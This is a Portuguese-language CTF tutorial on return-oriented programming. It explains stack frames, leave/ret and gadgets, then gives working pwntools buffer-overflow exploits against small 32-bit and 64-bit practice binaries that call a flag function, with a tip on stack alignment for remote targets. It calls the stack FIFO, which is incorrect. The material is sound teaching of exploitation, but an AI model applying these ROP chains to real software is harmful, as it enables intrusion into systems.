Return-Oriented Programming
O que é ROP
O ROP
é um exploit útil para burlar a proteção NX
. Sua base consiste em encadear pequenos pedaços de códigos já presentes no programa de forma que eles façam o que você deseja. Isto frequentemente envolve passar parâmetros para funções presentes dentro da libc
, como a system
, que se você encontrar a localização de um comando como cat flag.txt
e passar como parâmetro, a system
irá executar o comando e irá retornar o output. O comando mais perigoso é o /bin/sh
, que se executado pela system
, dá ao atacante acesso ao shell.
Funcionamento da Stack, e instrução LEAVE, RET e Gadgets
Stack
A pilha é uma região de memória, com funcionamento FIFO
, responsável por armazenar diversas informações importantes para o programa. Uma dessas informações é o gerenciamento de funções.
Quando o código está sendo executado, ele segue instruções que estão em sequência, porém quando uma função é chamada, o programa deve desviar seu fluxo de execução para executar as instruções da função. Por causa disso, é necessário salvar o endereço da instrução que vem após a chamada da função, para que o programa, ao encerra-lá, possa retornar ao seu fluxo normal. E é na pilha que esse endereço é salvo, por isso sempre quando uma função é chamada, o topo da pilha é o endereço de retorno dela.
LEAVE
A instrução LEAVE
nada mais é do que as instruções que encerram o segmento da pilha para a função onde ele está sendo executado.
RET
A instrução ret
nada mais é do que pop rip
e jmp rip
, ou seja, ela tira o endereço de retorno da pilha e pula para lá. Então imagine a seguinte sequência de códigos:
Endereço Opcode leave
Endereço Opcode ret
Antes de executar a instrução leave
a pilha estará de seguinte forma:

Após a execução da instrução leave
, o registrador rsp
será movido e incrementado (instrução pop
) e passará a apontar para o endereço de retorno, e após a instrução ret
ser executada o rsp
também será incrementado, mas o endereço estará salvo em rip
, fazendo com que a pilha fique da seguinte maneira:

Gadgets
Os gadgets nada mais são do que pequenos trechos de códigos que terminam com uma instrução ret
, por exemplo pop rdi; ret
. A importância desses gadgets é que todos eles já estão presentes dentro do código, e todos possuem um endereço, dessa forma é possível sobrescrever a pilha para que o endereço de retorno seja um gadget e as posições em sequência sejam os valores. Imagine o seguinte gadget e a pilha:
Endereço1 Opcode pop edi
Endereço2 Opcode pop edx
Endereço3 Opcode ret

Com isso nós queremos chamar uma função que recebe um parâmetro via o registrador edi
. Para isso é necessário sobrescrever o valor de retorno para o endereço do gadget, no caso Endereço1
, e em seguida informar os valores para cada operação do gadget, fazendo com que a pilha fique praticamente assim:

Importante: Existem diversas formas de se encontrar gadgets, uma delas é olhando pelo próprio código, outra é usando o ROPgadget
com o seguinte comando ROPgadget --binary progrma
. É possível combinar a instrução com o grep
de forma que filtre por um registrador específico: ROPgadget --binary progrma | grep rdi
.
Chamadas de funções
Como visto no exemplo anterior o parâmetro foi passado via registrador, mas isso funciona somente para programas 64-bits, para programas em 32-bits é de outra forma.
Importante: Em ambos, quando uma função é chamada, o topo da pilha deve ser o endereço de retorno, já que a instrução call
coloca o endereço da próxima instrução na pilha, e da jmp
para a função.
32-bits
Vamos dar uma olhada no seguinte código:
#include <stdio.h>
void vuln(int check, int check2, int check3) {
if(check == 0xdeadbeef && check2 == 0xdeadc0de && check3 == 0xc0ded00d) {
puts("Parâmetros corretos!");
} else {
puts("Parâmetros incorretos!");
}
}
int main() {
vuln(0xdeadbeef, 0xdeadc0de, 0xc0ded00d);
vuln(0xdeadc0de, 0x12345678, 0xabcdef10);
}
Podemos ver que a main
apenas chama a função vuln
passando os parâmetros. Vamos olhar o disasembler da main
então:
pwndbg> disass main
Dump of assembler code for function main:
0x080491bf <+0>: lea ecx,[esp+0x4]
0x080491c3 <+4>: and esp,0xfffffff0
0x080491c6 <+7>: push DWORD PTR [ecx-0x4]
0x080491c9 <+10>: push ebp
0x080491ca <+11>: mov ebp,esp
0x080491cc <+13>: push ecx
0x080491cd <+14>: sub esp,0x4
0x080491d0 <+17>: call 0x804921b <__x86.get_pc_thunk.ax>
0x080491d5 <+22>: add eax,0x2e2b
0x080491da <+27>: sub esp,0x4
0x080491dd <+30>: push 0xc0ded00d
0x080491e2 <+35>: push 0xdeadc0de
0x080491e7 <+40>: push 0xdeadbeef
0x080491ec <+45>: call 0x8049162 <vuln>
0x080491f1 <+50>: add esp,0x10
0x080491f4 <+53>: sub esp,0x4
0x080491f7 <+56>: push 0xabcdef10
0x080491fc <+61>: push 0x12345678
0x08049201 <+66>: push 0xdeadc0de
0x08049206 <+71>: call 0x8049162 <vuln>
0x0804920b <+76>: add esp,0x10
0x0804920e <+79>: mov eax,0x0
0x08049213 <+84>: mov ecx,DWORD PTR [ebp-0x4]
0x08049216 <+87>: leave
0x08049217 <+88>: lea esp,[ecx-0x4]
0x0804921a <+91>: ret
End of assembler dump.
Podemos ver que todos os parâmetros são passados por meio da pilha.
00:0000│ esp 0xffffce64 —▸ 0xf7e23e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x223d2c /* ',="' */
01:0004│ ebp 0xffffce68 —▸ 0xffffce88 ◂— 0
02:0008│+004 0xffffce6c —▸ 0x80491f1 (main+50) ◂— add esp, 0x10
03:000c│+008 0xffffce70 ◂— 0xdeadbeef
04:0010│+00c 0xffffce74 ◂— 0xdeadc0de
05:0014│+010 0xffffce78 ◂— 0xc0ded00d
06:0018│+014 0xffffce7c —▸ 0x80491d5 (main+22) ◂— add eax, 0x2e2b
07:001c│+018 0xffffce80 ◂— 0
Podemos ver então, que o topo da pilha quando a função foi chamada é o endereço de retorno, e os valores abaixo são os parâmetros seguindo a ordem em que serão atribuídos.
Explorando um programa 32-bits
Como exemplo para programas em 32-bits vamos fazer um exploit no seguinte código:
#include <stdio.h>
void vuln() {
char buffer[40];
puts("Dúvido que você consiga imprimir a flag pelo terminal.\n");
gets(buffer);
}
int main() {
vuln();
}
void flag(int check, int check2) {
if(check == 0xdeadc0de && check2 == 0xc0ded00d) {
puts("É, aparentemente você conseguiu.\nHawk{32_p@R3cE_Fac1L_n3}");
}
}
Logo de cara já sabemos algumas coisas. A primeira é que os parâmetros devem ser 0xdeadc0de
e 0xc0ded00d
, e a segunda é que devemos escrever 40 bytes para começarmos a sobrescrever a pilha. Vamos olhar o disassembler da vuln
:
pwndbg> disass vuln
Dump of assembler code for function vuln:
0x08049176 <+0>: push ebp
0x08049177 <+1>: mov ebp,esp
0x08049179 <+3>: push ebx
0x0804917a <+4>: sub esp,0x34
0x0804917d <+7>: call 0x80490b0 <__x86.get_pc_thunk.bx>
0x08049182 <+12>: add ebx,0x2e72
0x08049188 <+18>: sub esp,0xc
0x0804918b <+21>: lea eax,[ebx-0x1fec]
0x08049191 <+27>: push eax
0x08049192 <+28>: call 0x8049050 <puts@plt>
0x08049197 <+33>: add esp,0x10
0x0804919a <+36>: sub esp,0xc
0x0804919d <+39>: lea eax,[ebp-0x30]
0x080491a0 <+42>: push eax
0x080491a1 <+43>: call 0x8049040 <gets@plt>
0x080491a6 <+48>: add esp,0x10
0x080491a9 <+51>: nop
0x080491aa <+52>: mov ebx,DWORD PTR [ebp-0x4]
0x080491ad <+55>: leave
0x080491ae <+56>: ret
End of assembler dump.
Interessante notar que ao invés de criar espaço somente para o buffer
(40 bytes), a função cria 12 bytes adicionais. O motivo não importa neste caso, o que importa é que para chegarmos no endereço de retorno é necessário sobrescrever 52 bytes. Usando a instrução disass flag
nós encontramos o endereço da função que é 0x080491cb
. Agora é só montar o código.
from pwn import *
elf = context.binary = ELF("./ExemploExploit-32")
enderecoFlag = p32(0x080491cb)
param1 = p32(0xdeadc0de)
param2 = p32(0xc0ded00d)
p = process()
payload = b"A" * 52
payload += enderecoFlag #Sobrescrevendo o endereço de retorno
payload += p32(0x0) #O topo da pilha para uma função deve ser seu endereço de retorno
payload += param1 #O primeiro parâmetro aparece logo em seguida do endereço de retorno
payload += param2
p.recvuntil("\n")
p.sendline(payload)
print(p.recvall().decode())
Com isso foi possível obter o resultado:
É, aparentemente você conseguiu.
Hawk{32_p@R3cE_Fac1L_n3}
64-bits
Em programas de 64-bits é diferente a passada de parâmetros, aqui é por meio de registradores. Para isso vamos olhar para o mesmo código em c
da seção de 32-bits só que compilado para 64-bits.
#include <stdio.h>
void vuln(int check, int check2, int check3) {
if(check == 0xdeadbeef && check2 == 0xdeadc0de && check3 == 0xc0ded00d) {
puts("Parâmetros corretos!");
} else {
puts("Parâmetros incorretos!");
}
}
int main() {
vuln(0xdeadbeef, 0xdeadc0de, 0xc0ded00d);
vuln(0xdeadc0de, 0x12345678, 0xabcdef10);
}
Agora vamos olhar para a disassembler da função main
:
pwndbg> disass main
Dump of assembler code for function main:
0x000000000040116c <+0>: push rbp
0x000000000040116d <+1>: mov rbp,rsp
0x0000000000401170 <+4>: mov edx,0xc0ded00d
0x0000000000401175 <+9>: mov esi,0xdeadc0de
0x000000000040117a <+14>: mov edi,0xdeadbeef
0x000000000040117f <+19>: call 0x401122 <vuln>
0x0000000000401184 <+24>: mov edx,0xabcdef10
0x0000000000401189 <+29>: mov esi,0x12345678
0x000000000040118e <+34>: mov edi,0xdeadc0de
0x0000000000401193 <+39>: call 0x401122 <vuln>
0x0000000000401198 <+44>: mov eax,0x0
0x000000000040119d <+49>: pop rbp
0x000000000040119e <+50>: ret
End of assembler dump.
Note que os parâmetros estão sendo passados para os registradores edi, esi, edx
(podem mudar dependendo do SO).
Explorando um programa 64-bits
Para explorar um programa em 64-bits não basta apenas sobrescrever a pilha colocando os valores, aqui nós precisamos fazer uso dos gadgets para salvar os parâmetros nos registradores corretos e depois dar um return. Para isso vamos analisar o seguinte código em c
:
#include <stdio.h>
void vuln() {
char buffer[40];
puts("Overflow Me");
gets(buffer);
}
int main() {
vuln();
}
void flag(int check, int check2) {
if(check == 0xdeadc0de && check2 == 0xc0ded00d) {
puts("Got it!");
}
}
Sabemos que precisamos passar dois parâmetros para a função flag
, vamos procurar gadgets para os registrados edi
e esi
.
ROPgadget --binary vuln-64 | grep pop
0x0000000000401169 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040116b : add byte ptr [rax], al ; pop rbp ; ret
0x0000000000401117 : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401112 : mov byte ptr [rip + 0x2f1f], 1 ; pop rbp ; ret
0x0000000000401168 : mov eax, 0 ; pop rbp ; ret
0x00000000004011f4 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004011f6 : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004011f8 : pop r14 ; pop r15 ; ret
0x00000000004011fa : pop r15 ; ret
0x00000000004011f3 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004011f7 : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000401119 : pop rbp ; ret
0x00000000004011fb : pop rdi ; ret
0x00000000004011f9 : pop rsi ; pop r15 ; ret
0x00000000004011f5 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
Encontramos dois bons 0x00000000004011fb : pop rdi ; ret
e 0x00000000004011f9 : pop rsi ; pop r15 ; ret
. Vamos olhar para a pilha da função vuln
para encontrarmos quantos bytes é necessário para chegar no endereço de retorno.
00:0000│ rsp 0x7fffffffdc70 ◂— 0
... ↓ 4 skipped
05:0028│-008 0x7fffffffdc98 —▸ 0x7ffff7fe6c40 (dl_main) ◂— push rbp
06:0030│ rbp 0x7fffffffdca0 —▸ 0x7fffffffdcb0 ◂— 1
07:0038│+008 0x7fffffffdca8 —▸ 0x401168 (main+14) ◂— mov eax, 0
Essa é a visão da pilha após a função criar espaço nela, para encontrarmos a quantidade necessária basta fazer EndereçoRet - RSP
, que vai ser igual a 0x7fffffffdca8 - 0x7fffffffdc70 = 0x38
. E usando o comando disass flag
é possível encontrar o endereço da função, 0x000000000040116f
. Agora é só montar o script.
from pwn import *
elf = context.binary = ELF("./ExemploExploit-64")
POP_RDI = p64(0x00000000004011fb)
POP_RSI_R15 = p64(0x00000000004011f9)
enderecoFlag = p64(0x000000000040116f)
param1 = p64(0xdeadc0de)
param2 = p64(0xc0ded00d)
p = process()
payload = b"A" * 56 #Sobrescrevendo
payload += POP_RDI #Retornando para o gadget pop rdi; ret
payload += param1 #Informando o valor para o rdi
payload += POP_RSI_R15 #Retornando para o gadget pop rsi; pop r15; ret
payload += param2 #Informando o valor para o rsi
payload += p64(0x0) #Informando o valor para o r15 (lixo)
payload += enderecoFlag #Retornando para a flag
payload += p64(0x0) #Endereço de retorno da flag (lixo)
p.recvuntil("Me")
p.sendline(payload)
print(p.recvall().decode())
Com isso foi possível obter o resultado:
Got it!
Importante: O código em c
usado para esse programa é praticamente o mesmo do que o usado para 32-bits. O problema é que quando ele era compilado na minha máquina, não havia os gadgets necessários para realizar o exploit, então foi optado por usar um programa já pronto.
Processos remotos
Quando estamos usando programas em 64-bits, e o exploit funciona normalmente localmente, mas falha remotamente, é por causa de algo chamado stack alignment
. Felizmente (ou não) isso pode ser facilmente corrigido colocando um gadget de ret
no retorno de um pop
, seguindo o seguinte exemplo:
ret = elf.address + 0x2439
[...]
rop.raw(POP_RDI)
rop.raw(0x4) # first parameter
rop.raw(ret) # align the stack
rop.raw(system)
Links úteis
Atualizado